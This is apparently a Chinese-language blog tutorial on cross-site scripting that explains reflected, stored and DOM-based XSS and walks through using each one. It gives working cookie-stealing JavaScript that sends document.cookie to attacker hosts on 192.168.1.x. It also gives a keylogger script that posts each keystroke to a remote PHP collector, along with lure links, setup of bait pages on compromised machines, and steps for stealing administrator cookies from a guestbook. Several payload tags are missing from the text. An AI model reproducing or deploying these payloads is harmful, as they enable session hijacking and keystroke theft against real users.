XSS:XSS漏洞原理和简单利用

文章目录

  • 介绍
  • 分类
    • 基于反射(非持久)
    • 基于存储(持久型)
    • 基于DOM
  • 技术相关
    • 基于反射(非持久)
      • 如何发觉反射型xss漏洞?
      • 一个举例
      • 一些常见反射型代码
      • 窃取cookie
      • keyloger
        • 1.病毒代码
        • 2.接收键盘数据的服务器PHP代码
        • 3.受害者点击的链接
      • 伪装我们的链接(如何让受害者点我们的链接)
    • 基于存储(持久型)
    • 基于DOM
      • 介绍
      • 依旧是盗取cookie

介绍

XSS:跨站脚本攻击。
XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是“跨域”和“客户端执行”。
发现跨站脚本漏洞最好的工具是burpsuite
xss和sql漏洞的本质:将客户端提交的数据没有过滤,将提交的数据当代码执行。

分类

基于反射(非持久)

通过社会工程学让目标客户端人点击,目标客户端将js发送给漏洞服务器,漏洞服务器返回js,然后目标客户端浏览器执行返回的js。

基于存储(持久型)

黑客将恶意代码(一般是js语言)注入到漏洞服务器(假如是淘宝),当正常客户访问服务器(淘宝)时候,js将访问指向客户端。

基于DOM

技术相关

基于反射(非持久)

如何发觉反射型xss漏洞?

1.先爬站,将每个便量名称爬出来
2.向每一个变量随便提交数据,若提交的内容bei服务器原封不动返回回来,则很有可能有漏洞

一个举例

输入:
这个是弹出警告窗口,显示xss
XSS:XSS漏洞原理和简单利用_第1张图片

一些常见反射型代码

    

这个是弹出警告窗口,显示xss

type    

创建一个超链接,点击就执行alert(‘xss’)

  

给一个图片的链接,当出现错误的时候弹出警告窗口

  

进行重定向。当执行代码的时候,页面会跳转到1.1.1.1服务器。也可以写网址

 

iframe是框架。效果同上

     

执行这个代码后,受害者会将他登陆目标服务器的cookie信息返回给 http://1.1.1.1/c.php? output=位置。下图就是收到的cookie数据XSS:XSS漏洞原理和简单利用_第2张图片


以h1号字体在受害者浏览器显示THIS WEBSITE IS UNDER ATTACK内容。
XSS:XSS漏洞原理和简单利用_第3张图片

窃取cookie

真实的恶意代码往往比较长,无法直接放在url里面。我们会放在一个肉机的网页目录下。比如下面的a.js

 
执行的时候,会去192.168.1.102出找恶意代码,恶意代码是将受害者连接目标服务器的cookie返回给192.168.1.102:88

• a.js
• var img = new Image();
• img.src = “http://192.168.1.1/cookies.php?cookie=”+document.cookie;
XSS:XSS漏洞原理和简单利用_第4张图片
上图192.168.1.107是有漏洞的。当执行箭头的时候,会去192.168.1.102出找恶意代码,恶意代码是将192.168.1.107的cookie返回给192.168.1.102:88
XSS:XSS漏洞原理和简单利用_第5张图片

keyloger

1.病毒代码

代码:
Keylogger.js

 document.onkeypress = function(evt) {
 evt = evt || window.event
 key = String.fromCharCode(evt.charCode)
 if (key) {
		 var http = new XMLHttpRequest();
		 var param = encodeURI(key)
		 http.open("POST","http://192.168.20.8/keylogger.php",true);
		 http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		 http.send("key="+param);
     }
 }

利用xss漏洞触发键盘记录器代码,受害者(客户端)的键盘信息发送到192.168.20.8。 http://192.168.20.8/keylogger.php 是接受键盘信息的机器和php文件。

XSS:XSS漏洞原理和简单利用_第6张图片
将代码放到肉机192.168.1.102。确认可以访问到代码文件。

2.接收键盘数据的服务器PHP代码

Keylogger.php


将上面代码放到接收数据的服务器端。数据保存在keylog.txt。
注意:先手动在接收数据电脑创建keylog.txt并赋予777权限。且把文件放在网页根目录。
在这里插入图片描述

3.受害者点击的链接


上面的IP写放病毒的肉鸡IP。受害者点击后就自动去执行肉鸡上的病毒,启动键盘记录器。

伪装我们的链接(如何让受害者点我们的链接)

还是以上面的键盘记录器举例。

美女 

1.我们在上面文字处写上诱惑的文字
2.把上面的链接放在一个html文件
3.把文件放在肉机网页根目录,做一个漂亮的网站。如下图
XSS:XSS漏洞原理和简单利用_第7张图片
如图。当点击文字就执行了链接。

基于存储(持久型)

这个漏洞一般在网站的留言板。用于盗取网站管理员的cookie。
利用上面的盗取cookie代码
1.注入代码

2.a.js源码
var img = new Image();
img.src = “http://192.168.1.102:88/cookies.php?cookie=”+document.cookie;
XSS:XSS漏洞原理和简单利用_第8张图片
能通过浏览器找到。
XSS:XSS漏洞原理和简单利用_第9张图片
我们发现在注入代码的时候网站限制了我们的字符数。我们只有绕过客户端
①.用截断代理(buripsuit)
②.在本地heml代码修改长度限制(插件)。如下图
XSS:XSS漏洞原理和简单利用_第10张图片
3.将注入代码放入留言板
XSS:XSS漏洞原理和简单利用_第11张图片
XSS:XSS漏洞原理和简单利用_第12张图片
每次我们访问这个页面都会触发这一段代码。把cookie提交给192.168.1.102:80

这个漏洞当管理员登陆留言板处理留言时候,可能获得管理员的cookie。

基于DOM

介绍

文档对象模型(Document Object Model,简称DOM)
DOM型其实属于反射型。

依旧是盗取cookie

1.链接和代码


var img=document.createElement(“img”);定义了一个图片对象
img.src="http://192.168.1.120:88 是图片对象的来源。

2.将代码放到html,做成好看的网页。放上这个图片。
当执行这个代码:会将受害者机器的cookie发送反弹到192.168.1.102:88

你可能感兴趣的:(信息安全,知识框架,XSS漏洞)